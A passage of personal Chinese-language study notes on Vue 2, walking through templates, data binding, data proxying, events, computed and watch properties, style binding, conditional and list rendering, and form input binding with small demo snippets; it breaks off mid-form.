Vue2学习笔记

一、初识Vue:

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象

2.root容器里的代码依然要符合html规范,只不过混入了一些特殊的Vue语法

3.root容器里的代码被称为【Vue模板】

4.Vue实例和容器是一一对应的

5.真实开发中只有一个Vue实例,并且会配合着组件一起使用

6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性

7.一旦data中的数据发生改变,那么模板中用到该数据的地方也会自动更新

1.1注意区分:js表达式 和 js代码

1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方

(1)a

(2)a+b

(3)x === y ? 'a' : 'b'

2.js代码(语句)

(1)if(){}

(2)for(){}

    <div id="root">
        <h1>Hello,{{name}}</h1>
    </div>
    <script>
        Vue.config.productionTip = false; //阻止vue在启动时生成生产提示
        const x = new Vue({
            el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            data: { //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象
                name: '尚硅谷'
            }
        });
    </script>

二、模板语法

2.1 插值语法

利用{{xxx}}引用Vue中data中的属性,用于解析标签体内容

2.2 指令语法

利用v-bind:或者:解析标签(包括:标签属性、标签体内容、绑定事件……)

举例:v-bind:href="xxx"或者简写为  :href="xxx"

    <div id="root">
        <h1>插值语法</h1>
        <h3>Hello,{{name}}</h3> <!--插值语法-->
        <h1>指令语法</h1>
        <a v-bind:href="school.url">点我去{{school.name}}学习</a> <!--指令语法-->
    </div>
    <script>
        Vue.config.productionTip = false; //阻止vue在启动时生成生产提示
        const x = new Vue({
            el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            data: { //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象
                name: 'Suzie',
                school: {
                    url: 'http://www.baidu.com',
                    name: '尚硅谷'
                }              
            }
        });
    </script>

三、数据绑定

3.1 单向数据绑定

v-bind:   数据只能从data流向页面。

3.2 双向数据绑定

v-model:   数据不仅能从data流向页面,还可以从页面流向data。

但是v-model:只能应用在表单类元素(输入类元素)上,如input、select等

v-model:value可以简写为v-model

    <div id="root">
        单向数据绑定:<input type="text" v-bind:value="name"><br />
        双向数据绑定:<input type="text" v-model:value="name">
        <!--简写版-->
        单向数据绑定:<input type="text" :value="name"><br />
        双向数据绑定:<input type="text" v-model="name">
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el: '#root',
            data: {
                name: 'Suzie'
            }
        })
    </script>

四、el与data的两种写法 

4.1 el

el 属性又称挂载点,可认为是 element 的简写,创建一个 vue实例 得知道是在哪一块元素上创建 Vue实例 ,对哪一块视图进行操作。

el可以在new Vue中直接写,也可以使用$mount{'xxx'}

    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
    <script>
        Vue.config.conductionTip = false;
        const v = new Vue({
            //第一种写法
            //el: '#root',
            data: {
                name: 'Suzie'
            }
        })
        //第二种写法 利用$mount('xxx')
        v.$mount('#root');
    </script>

4.2 data

4.2.1 对象式

new Vue({
    el: '#root',
    data: {
        name: 'Suzie'
    }
})

4.2.2 函数式

new Vue({
    el: '#root',
    data() {
        return {
            name: 'Suzie'
        }
    }
})

注意:由Vue所管理的函数一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了

五、Object.defineProperty()

Object.defineProperty()的作用就是直接在一个对象上定义一个新属性,或者修改一个已经存在的属性

Object.defineProperty(obj, prop, desc)

obj:需要定义属性的对象

prop:当前需要定义的属性名

desc:属性描述符

5.1 desc属性描述符

5.1.1 value属性

为prop当前属性名添加或修改值

5.1.2 enumerable属性

通过Object.defineProperty()添加的属性不参加枚举(遍历),若想参加遍历,则要在desc中使enumerable为true

    <script>
        let Person = {
            name: 'Suzie',
            sex: '女'
        }
        // Object.defineProperty(Person,'age',{
        //     value: 22
        // })
        // console.log(Object.keys(Person)) //['name','sex']
        Object.defineProperty(Person,'age',{
            value: 22,
            enumerable: true //控制属性是否可以枚举,默认值是false
        })
        console.log(Object.keys(Person)); //['name','sex','age']
    </script>

5.1.3 writable属性

通过Object.defineProperty()添加的属性不能进行修改,若想修改则要在desc中使writable为true

let Person = {
    name: 'Suzie',
    sex: '女'
}
Object.defineProperty(Person,'age',{
    value: 22,
    writable: true //控制属性是否可以被修改,默认值是false
})

5.1.4 configurable属性

通过Object.defineProperty()添加的属性不能删除,若想删除则要在desc中使configurable为true

let Person = {
    name: 'Suzie',
    sex: '女'
}
Object.defineProperty(Person,'age',{
    value: 22,
    configurable: true //控制属性是否可以被删除,默认值是false
})

5.1.5 get属性

当有人读取obj的prop属性时,get函数(getter)就会被调用,且返回值就是prop的值

let number = 18;
let Person = {
    name: 'Suzie',
    sex: '女'
}
Object.defineProperty(Person,'age',{  
    //当有人读取Person的age属性时,get函数就会被调用,且返回值就是age的值
    get(){
        return number;
    }
})

5.1.6 set属性

当有人修改obj的prop属性时,set函数就会被调用,且会收到修改的具体值

let number = 18;
let Person = {
    name: 'Suzie',
    sex: '女'
}
Object.defineProperty(Person,'age',{ 
    //当有人读取Person的age属性时,get函数就会被调用,且返回值就是age的值
    get: function(){
        return number;
    },
    //当有人修改Person的age属性时,set函数就会被调用,且会收到修改的具体值 
    set(value) {
        number = value;
    }
})

六、数据代理

6.1 何为数据代理

    <!--数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
    <script>
        let obj = {x: 100};
        let obj2 = {y: 200};
        Object.defineProperty(obj2,'x',{
            get(){
                return obj.x;
            },
            set(value){
                obj.x = value;
            }
        })
    </script>

6.2 Vue数据代理

 Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写),更加方便的操作data中的属性,如果没有数据代理,data中的所有属性就不能直接调用,前面应该加上_data.调用

基本原理:通过Object.defineProperty()把data对象中的所有属性添加到vm上,为每一个添加到vm上的属性都指定一个getter/setter,在getter/setter内部去操作(读/写)data中对应的属性。

七、事件处理

7.1 事件的基本使用

1.使用v-on:xxx@xxx 绑定事件,其中xxx是事件名

2.事件的回调需要配置在methods对象中,最终会在vm上

3.methods中配置的函数,不要使用箭头函数!否则this的指向就不是vm了

4.methods中配置的函数,都是被vue所管理的函数,this的指向是vm或组件实例对象

5.@click="demo"和@click="demo(参数,$event)"的效果一致,但后者可以传参

    <div id="root">
        <button v-on:click="showInfo1">点我提示信息1(不传参)</button>
        <button @click="showInfo2(66,$event)">点我提示信息2(传参)</button>
    </div>
    <!--数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
    <script>
        Vue.config.conductionTip = false;
        const vm = new Vue({
            el: '#root',
            data: {
                name: 'Suzie'
            },
            methods: {
                showInfo1(event) {
                    console.log(event);
                },
                showInfo2(number,event) {
                    console.log(number,event);
                }
            }
        })
    </script>

7.2 事件修饰符

1.prevent:阻止默认事件(常用)

2.stop:阻止事件冒泡(常用)

3.once:事件只触发一次(常用)

4.capture:使用事件的捕获模式

5.self:只有event.target是当前操作的元素时才触发事件

6.passive:事件的默认行为立即执行,无须等待事件回调执行完毕

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        *{
            margin: 20px;
        }
        .demo1{
            background-color: palegoldenrod;
        }
        .box1 {
			padding: 5px;
			background-color: skyblue;
		}
        .box2{
            background-color: plum;
        }
        .list {
			width: 200px;
			height: 200px;
			background-color: peru;
			overflow: auto;
		}
		li {
			height: 100px;
		}
    </style>
</head>
<body>
    <div id="root">
        <!--阻止默认事件(常用)-->
        <a href="http://www.baidu.com" @click.prevent="showInfo">阻止默认事件</a>
        <!--阻止事件冒泡(常用)-->
        <div class="demo1" @click="showInfo">
			<button @click.stop="showInfo">点我阻止冒泡</button>
			<!-- 在哪一层加了阻止事件冒泡,哪一层外面的所有祖先冒泡都会被阻止 -->
			<!-- 修饰符可以连续写 -->
		</div>
        <!--事件只触发一次(常用)-->
        <button @click.once="showInfo">点我只触发一次</button>
        <!--使用事件的捕获模式-->
		<div class="box1" @click.capture="showMsg(1)">
			div1
			<div class="box2" @click="showMsg(2)">
				div2
			</div>
		</div>
        <!--只有event.target是当前操作的元素时才触发事件-->
		<div class="demo1" @click.self="showInfo">
			<button @click="showInfo">点我提示信息</button>
		</div>
        <!--事件的默认行为立即执行,无需等待事件回调执行完毕-->
		<ul @wheel.passive="demo" class="list">
			<li>1</li>
			<li>2</li>
			<li>3</li>
			<li>4</li>
		</ul>
		<!-- @wheel滚轮滚动事件 @scroll滚动条滚动事件 -->
    </div>
    <script>
        Vue.config.conductionTip = false;
        new Vue({
            el: "#root",
            data: {
                name: "Suzie"
            },
            methods: {
                showInfo(){
                    alert("hi~");
                },
                showMsg(msg){
                    console.log(msg);
                },
                demo(){
                    for (let i = 0; i < 100000; i++) {
					    console.log('#')
                    }
                    console.log('累坏了')
                }
            }
        })
    </script>
</body>

若想有多个事件修饰符7可以连着写,例如@xxx.prevent.stop

7.3 键盘事件

1.Vue中常用的按键别名

回车 => enter

删除 => delete(捕获删除和退格键)

退出 => esc

空格 => space

换行 => tab(特殊,必须配合keydown使用)

上 => up

下 => down

左 => left

右 => right

2.Vue未提供别名的按键,可以去使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

3.系统修饰键(用法特殊):ctrl、alt、shift、meta

(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发

(2)配合keydown使用:正常触发事件

4.也可以使用keyCode去指定具体的按键(不推荐)

5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>欢迎来到{{name}}学习</h2>
		<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		<!-- <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo"> -->
		<!--当有需求要同时按下两个键才能生效时 
			<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo"> -->
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		},
		methods: {
			showInfo(e) {
				// console.log(e.key,e.keyCode)
				// if (e.keyCode !== 13) return 如果不是回车键,则弹出函数
				console.log(e.target.value)
			}
		},
	})
</script>

八、属性

8.1 姓名案例

8.1.1 插值语法实现

<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        全名:<span>{{firstName}}-{{lastName}}</span>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三'
        }
    })
</script>

8.1.2 methods方法实现

注意:只要data中的数据发生改变,Vue就会重新解析模板,使用到data中数据的地方就会重新调用。在插值语法中调用methods中的方法时,需要加括号(),加括号是执行函数后的结果,不加括号是打印该函数。

<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        <!-- 在插值语法中调用methods方法时必须加括号(),加括号是执行函数后的结果,不加括号是打印该函数 -->
        全名:<span>{{fullName()}}</span>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三'
        },
        methods: {
            fullName() {
                return this.firstName + '-' + this.lastName;
            }
        }
    })
</script>

8.2 计算属性computed

Vue将data中的数据视为属性

定义:要用的属性不存在,要通过已有的属性计算得来

原理:底层借助了Object.defineProperty方法提供的getter和setter

优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便

备注:(1)计算属性最终会出现在vm上,直接读取使用即可

(2)如果计算属性要被修改,那必须写set函数去相应修改,且set中要引起计算时依赖的数据发生改变

    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        全名:<span>{{fullName}}</span>
    </div>
    <script>
        Vue.config.conductionTip = false;
        const vm = new Vue({
            el: "#root",
            data: {
                firstName: '张',
                lastName: '三'
            },
            computed: {
                //完整过程
                // fullName: {
                //     //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
                //     //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
                //     get() {
                //         return this.firstName + '-' + this.lastName;
                //     },
                //     //set什么时候调用? 当fullName被修改时。
                //     set(value) {
                //         const arr = value.split('-');
                //         thsi.firstName = arr[0];
                //         this.lastName = arr[1];
                //     }
                // }
                //简写
                fullName() {
                    return this.firstName + '-' + this.lastName;
                }
            }
        })
    </script>

8.3 监视属性(侦听器watch)

1.当被监视的属性变化时,回调函数自动调用,进行相关操作

2.监视的属性必须存在才能进行监视

3.监视的两种写法

(1)new Vue时传入watch配置

(2)通过xxx.$watch()监视

<body>
    <div id="root">
        <h3>今天天气很{{info}}</h3>
        <button @click="changeWeather">切换天气</button>
    </div>
    <script>
        Vue.config.conductionTip = false;
        const vm = new Vue({
            el: "#root",
            data: {
                isHot: false
            },
            computed: {
                info() {
                    return this.isHot ? '炎热' : '凉爽';
                }
            },
            methods: {
                changeWeather() {
                    this.isHot = !this.isHot;
                }
            },
            //方法一
            watch: {
                //正常写法
                isHot: {
                    immediate: true, //初始化时让handler调用一下
                    //handler什么时候调用? 当isHot发生改变时
                    handler(newValue,oldValue) {
                        console.log('isHot被修改了',newValue,oldValue);
                    }
                }

                //简写
                // isHot(newValue,oldValue) {
                //     console.log('isHot被修改了',newValue,oldValue);
                // }
            }
        })

        //方法二 完整写法
        // vm.$watch('isHot',{
        //     immediate: true, //初始化时让handler调用一下
        //     //handler什么时候调用? 当isHot发生改变时
        //     handler(newValue,oldValue) {
        //         console.log('isHot被修改了',newValue,oldValue);
        //     }
        // })
        //方法二 简写
        // vm.$watch('isHot',function(newValue,oldValue){
        //     console.log('isHot被修改了',newValue,oldValue);
        // })
    </script>
</body>

8.3.1 深度监视(deep:true)

1.Vue中的watch默认不监视对象内部值的改变(一层)

2.配置deep:true可以监视对象内部值改变(多层)

备注:

(1)Vue自身可以监视对象内部值的改变,但Vue提供的watch默认不可以

(2)使用watch时根据数据的具体结构,决定是否采用深度监视

<body>
    <div id="root">
        <button @click="number.a++">点我让我a+1</button>
        <button @click="number.b++">点我让我b+1</button>
    </div>
    <script>
        Vue.config.conductionTip = false;
        const vm = new Vue({
            el: "#root",
            data: {
                number: {
                    a: 1,
                    b: 1
                }
            },
            watch: {
                //监视多级结构中某个属性的变化
                //一定要加引号
                'number.a': {
                    handler(){
                        console.log('a被改变了');
                    }
                },
                'number.b': {
                    handler(){
                        console.log('b被改变了');
                    }
                },
                //监视多级结构中所有属性的变化
                number: {
                    deep: true, //深度监视
                    handler() {
                        console.log('number改变了');
                    }
                }
            }
        })
    </script>
</body>

8.3.2 姓名案例(watch实现)

<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/>
        名:<input type="text" v-model="lastName"> <br/>
        全名:<span>{{fullName}}</span> 
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
            fullName: '张-三'
        },
        watch: {
            firstName: {
                handler(newValue) {
                    this.fullName = newValue + '-' + this.lastName
                }
            },
            lastName: {
                handler(newValue) {
                    this.fullName = this.firstName + '-' + newValue
                }
            }
        }
    })
</script>

计算属性computed与侦听属性watch的区别:

1.computed能完成的功能,watch都可以完成

2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

两个重要小原则:

1.所被Vue管理的函数,最好写成普通函数,这样this指向的才是vm 或 组件实例对象 

2.所有不被Vue管理的函数(定时器的回调函数、ajax的回调函数等)最好写成箭头函数,这样this指向的才是vm 或 组件实例对象

九、绑定样式

9.1 class样式

写法: :class="xxx"  xxx可以是字符串、对象、数组

字符串写法适用于:类名不确定,要动态获取

数组写法适用于:要绑定多个样式,个数不确定,名字也不确定

对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用

9.2 style样式

:style="{fontSize:xxx}"   其中xxx是动态值

:style="[a,b]"   其中a、b是样式对象

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>绑定样式</title>
	<style>
		.basic {
			width: 400px;
			height: 100px;
			border: 1px solid black;
		}

		.happy {
			border: 4px solid red;
			background-color: rgba(255, 255, 0, 0.644);
			background: linear-gradient(30deg, yellow, pink, orange, yellow);
		}

		.sad {
			border: 4px dashed rgb(2, 197, 2);
			background-color: gray;
		}

		.normal {
			background-color: skyblue;
		}

		.atguigu1 {
			background-color: yellowgreen;
		}

		.atguigu2 {
			font-size: 30px;
			text-shadow: 2px 2px 10px red;
		}

		.atguigu3 {
			border-radius: 20px;
		}
	</style>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
		<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br /><br />

		<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
		<div class="basic" :class="classArr">{{name}}</div> <br /><br />

		<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
		<div class="basic" :class="classObj">{{name}}</div> <br /><br />

		<!-- 绑定style样式--对象写法 -->
		<div class="basic" :style="styleObj">{{name}}</div> <br /><br />
		<!-- 绑定style样式--数组写法 -->
		<div class="basic" :style="styleArr">{{name}}</div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
		el: '#root',
		data: {
			name: '我要进大厂',
			mood: 'normal',
			classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
			classObj: {
				atguigu1: true,
				atguigu2: false,
			},
			styleObj: {
				fontSize: '40px',
				color: 'red',
			},
			styleObj2: {
				backgroundColor: 'orange'
			},
			styleArr: [
				{
					fontSize: '40px',
					color: 'blue',
				},
				{
					backgroundColor: 'gray'
				}
			]
		},
		methods: {
			changeMood() {
				//随机切换心情
				const arr = ['happy', 'sad', 'normal']
				const index = Math.floor(Math.random() * 3)
				//Math.random()	返回 0 ~ 1 之间的随机数,包含 0 不包含 1。
				//Math.floor(x)	对 x 进行下舍入,即向下取整。
				this.mood = arr[index]
			}
		},
	})
</script>
</html>

十、渲染

10.1 条件渲染

10.1.1 v-if

写法:

(1)v-if = "表达式"

(2)v-else-if = "表达式"

(3)v-else

适用于:切换频率较低的场景

特点:不展示的DOM元素直接被移除

注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被打断

10.1.2 v-show

写法: v-show = "表达式"

适用于:切换频率较高的场景

特点:不展示的DOM元素未被删除,仅仅是样式隐藏掉

备注:使用v-if时元素可能无法获取到,而使用v-show一定可以获取到

v-if可以与template(模板,不破坏原有的结构)一起配合使用,但v-show和template不能一起使用

<body>
    <div id="root">
        <h2>当前的值是{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <!-- 使用v-show做条件渲染 -->
        <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
        <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

        <!-- 使用v-if做条件渲染 -->
        <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
        <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

        <!-- v-else和v-else-if -->
        <!-- <div v-if="n === 1">Angular</div>
        <div v-else-if="n === 2">React</div>
        <div v-else-if="n === 3">Vue</div>
        <div v-else>哈哈</div> -->

        <!-- v-if与template的配合使用 -->
        <template v-if="n === 1">
            <h2>你好</h2>
            <h2>青岛</h2>
        </template>
    </div>
    <script>
        Vue.config.conductionTip = false;
        const vm = new Vue({
            el: "#root",
            data: {
                name: '青岛' ,
                n: 1
            }
        })
    </script>
</body>

10.2 列表渲染v-for

v-for指令:

1.用于展示列表数据

2.语法:  v-for="(item,index) in xxx" :key="yyy" 或 v-for="(item,index) of xxx" :key="yyy"

3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 遍历数组 -->
		<h2>人员列表(遍历数组)</h2>
		<ul>
			<li v-for="(p,index) of persons" :key="p.id">
				{{p.name}}-{{p.age}}--{{p.id}}
			</li>
		</ul>

		<!-- 遍历对象 -->
		<h2>汽车信息(遍历对象)</h2>
		<ul>
			<li v-for="(value,name) of car" :key="name">
				{{name}}-{{value}}
			</li>
		</ul>

		<!-- 遍历字符串 -->
		<h2>测试遍历字符串(用得少)</h2>
		<ul>
			<li v-for="(char,index) of str" :key="index">
				{{index}}-{{char}}
			</li>
		</ul>

		<!-- 遍历指定次数 -->
		<h2>测试遍历指定次数(用得少)</h2>
		<ul>
			<li v-for="(number,index) of 5" :key="index">
				{{index}}-{{number}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		new Vue({
			el: '#root',
			data: {
				persons: [
					{ id: '001', name: '张三', age: 18 },
					{ id: '002', name: '李四', age: 19 },
					{ id: '003', name: '王五', age: 20 }
				],
				car: {
					name: '奥迪A8',
					price: '70万',
					color: '黑色'
				},
				str: 'hello'
			}
		})
	</script>
</body>

10.2.1 key的内部原理(默认为index)

1.虚拟DOM中key的作用:key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue将进行【新的虚拟DOM】与【旧虚拟DOM】的差异比较

2.对比规则

(1)旧虚拟DOM中找到了与新虚拟DOM相同的key:

        ①若虚拟DOM中内容没变,直接使用之前的真实DOM

        ②若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM

(2)旧虚拟DOM中未找到与新虚拟DOM相同的key,则创建新的真实DOM,随后渲染到页面

3.用index作为key可能引发的问题:

(1)若对数据进行逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新 =>页面效果没问题,但效率低

(2)如果结构中还包含输入类的DOM,会产生错误DOM更新 =>页面有问题

4.开发中如何选择key?

(1)最好使用每条数据的唯一标识作为key,如id、手机号、身份证号、学号等唯一值

(2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表,可以使用index作为key

<body>
	<!-- 准备好一个容器-->
	<div id="root">
        <button @click="add">点击添加新人员</button>
		<h2>人员列表(遍历数组) :key="p.id"</h2>     
		<ul>
			<li v-for="(p,index) of persons" :key="p.id">
				{{p.name}}-{{p.age}}
                <input type="text">
			</li>
		</ul>
        <h2>人员列表(遍历数组) :key="index"</h2>     
		<ul>
			<li v-for="(p,index) of persons" :key="index">
				{{p.name}}-{{p.age}}
                <input type="text">
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		new Vue({
			el: '#root',
			data: {
				persons: [
					{ id: '001', name: '张三', age: 18 },
					{ id: '002', name: '李四', age: 19 },
					{ id: '003', name: '王五', age: 20 }
				]
			},
            methods: {
               add() {
                   const p = { id: '004', name: '老刘', age: 30}
                   this.persons.unshift(p);
               } 
            }
		})
	</script>
</body>

 初始数据:

 点击添加新成员后:

初始数据:

点击添加新成员后:

10.2.2 列表过滤

用watch实现:

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2> 
        <input type="text" placeholder="请输入名字" v-model="keyWord">    
		<ul>
			<li v-for="(p,index) of filPersons" :key="p.id">
				{{p.name}}-{{p.age}}-{{p.sex}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		new Vue({
			el: '#root',
			data: {
                keyWord: '',
				persons: [
					{ id: '001', name: '马冬梅', age: 18, sex:'女'},
					{ id: '002', name: '周冬雨', age: 19, sex:'女'},
					{ id: '003', name: '周杰伦', age: 20, sex:'男'},
                    { id: '004', name: '温兆伦', age: 21, sex:'男'}
				],
                filPersons: []
			},
            watch: {
               keyWord: {
                   immediate: true,
                   handler(val) {
                       this.filPersons = this.persons.filter(p => {
                           return p.name.indexOf(val) !== -1;
                       })
                   }
               }
            }
		})
	</script>
</body>

用computed实现(推荐):

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2> 
        <input type="text" placeholder="请输入名字" v-model="keyWord">    
		<ul>
			<li v-for="(p,index) of filPersons" :key="p.id">
				{{p.name}}-{{p.age}}-{{p.sex}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		new Vue({
			el: '#root',
			data: {
                keyWord: '',
				persons: [
					{ id: '001', name: '马冬梅', age: 18, sex:'女'},
					{ id: '002', name: '周冬雨', age: 19, sex:'女'},
					{ id: '003', name: '周杰伦', age: 20, sex:'男'},
                    { id: '004', name: '温兆伦', age: 21, sex:'男'}
				],
			},
            computed: {
                filPersons: {
                    get() {
                        return this.persons.filter(p => {
                            return p.name.indexOf(this.keyWord) !== -1;
                        })
                    }
                }
            }
		})
	</script>
</body>

10.2.3 列表排序

列表排序与列表过滤一般是连在一起使用

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2> 
        <input type="text" placeholder="请输入名字" v-model="keyWord">    
        <button @click="sortType = 2">年龄升序</button>
		<button @click="sortType = 1">年龄降序</button>
		<button @click="sortType = 0">原顺序</button>
		<ul>
			<li v-for="(p,index) of filPersons" :key="p.id">
				{{p.name}}-{{p.age}}-{{p.sex}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		new Vue({
			el: '#root',
			data: {
				keyWord: '',
				sortType: 0, //0原顺序 1降序 2升序
				persons: [
					{ id: '001', name: '马冬梅', age: 30, sex: '女'},
					{ id: '002', name: '周冬雨', age: 31, sex: '女'},
					{ id: '003', name: '周杰伦', age: 18, sex: '男'},
					{ id: '004', name: '温兆伦', age: 19, sex: '男'}
				]
			},
			computed: {
				filPersons() {
					const arr = this.persons.filter((p) => {
						return p.name.indexOf(this.keyWord) !== -1
					})
					//判断一下是否需要排序
					if (this.sortType !== 0) {
						arr.sort((p1, p2) => {
							return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
						})
					}
					return arr
				}
			}
		})
	</script>
</body>

10.2.3 数据监测

1.vue会监视data中所有层次的数据

2.如何监测对象中的数据?

通过setter实现监视,且要在new Vue时就传入要监测的数据

(1)对象中后追加的属性,Vue默认不做响应式处理

(2)如需给后添加的属性做响应式处理,请使用如下API:

Vue.set(target, propertyName/index, value)vm.$set(target, propertyName/index, value)

3.如何监测数组中的数据?

通过包裹数组更新元素的方式实现,本质是做了两件事:调用原生对应的方法对数组进行更新;重新解析模板,进而更新页面

4.在Vue修改数组中的某个元素一定要用如下方法

(1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

(2)Vue.set() 或 vm.$set()

注意Vue.set() 和 vm.$set() 不能给vm或vm的根数据对象添加属性!!!即不能直接给data添加属性

<body>
    <div id="root">
        <h1>学生信息</h1>
        <button @click="student.age++">年龄加一岁</button>
        <button @click="addSex">添加性别属性,默认值:女</button>
        <button @click="student.sex = '未知' ">修改性别</button>
        <button @click="addFriend">在列表首位添加一个朋友</button>
        <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button>
        <button @click="addHobby">添加一个爱好</button>
        <button @click="updateHobby">修改第一个爱好为:游戏</button>
        <h2>姓名:{{student.name}}</h2>
        <h2>年龄:{{student.age}}</h2>
        <h2 v-if="student.sex">性别:{{student.sex}}</h2>
        <h2>爱好:</h2>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">
                {{h}}
            </li>
        </ul>
        <h2>朋友们:</h2>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">
                {{f.name}}--{{f.age}}
            </li>
        </ul>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                student: {
                    name: 'suzie',
                    age: 22,
                    hobby: ['游泳', '看书', '运动'],
                    friends: [
                        {name: 'jerry', age: 20},
                        {name: 'tom', age: 23},
                    ]
                }
            },
            methods: {
                addSex() {
                    // Vue.set(target, key, val)
                    // Vue.set(this.student, 'sex', '女')
                    this.$set(this.student, 'sex', '女')
                },
                addFriend() {
                    this.student.friends.unshift({name: 'jack', age: '25'})
                },
                updateFirstFriendName() {
                    this.student.friends[0].name = '张三'
                },
                addHobby() {
                    this.student.hobby.push('学习')
                },
                updateHobby() {
                    // this.student.hobby.splice(0, 1, '游戏') //注意:不能写成this.student.hobby[0] = '游戏'
                    Vue.set(this.student.hobby, 0, '游戏')
                }
            },
        })
    </script>
</body>

十一、表单输入绑定

11.1 基本用法

11.1.1 文本

<input type="text" /> 或 <input type="password" />,则v-model收集的是value值,用户输入的就是value值。

11.1.2 多行文本

<textarea>,则v-model收集的是value值,用户输入的就是value值。

注意:在<textarea>中是不支持插值表达式的,请使用v-model来替代

<!-- 错误 -->
<textarea>{{ text }}</textarea>

<!-- 正确 -->
<textarea v-model="text"></textarea>

11.1.3 复选框

<input type="checkbox" />

1.没有配置input的value属性,则v-model收集的是checked(勾选 or 未勾选,是布尔值)

2.配置input的value属性

(1)v-model的初始值是非数组,则收集的是checked(勾选 or 未勾选,是布尔值)

(2)v-model的初始值是数组,则收集的是value组成的数组

11.1.4 单选按钮

<input type="radio" />,则v-model收集的是value值,且要给标签配置value值

11.2 v-model的修饰符

11.2.1 lazy

v-model.lazy:失去焦点再收集数据

11.2.2 number

v-model.number:输入字符串转为有效的数字

11.2.3 trim

v-model.trim:输入首尾空格过滤

<body>
    <div id="root">
        <form @submit.prevent="demo">
            账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
            密码:<input type="password" v-model="userInfo.password"> <br/><br/>
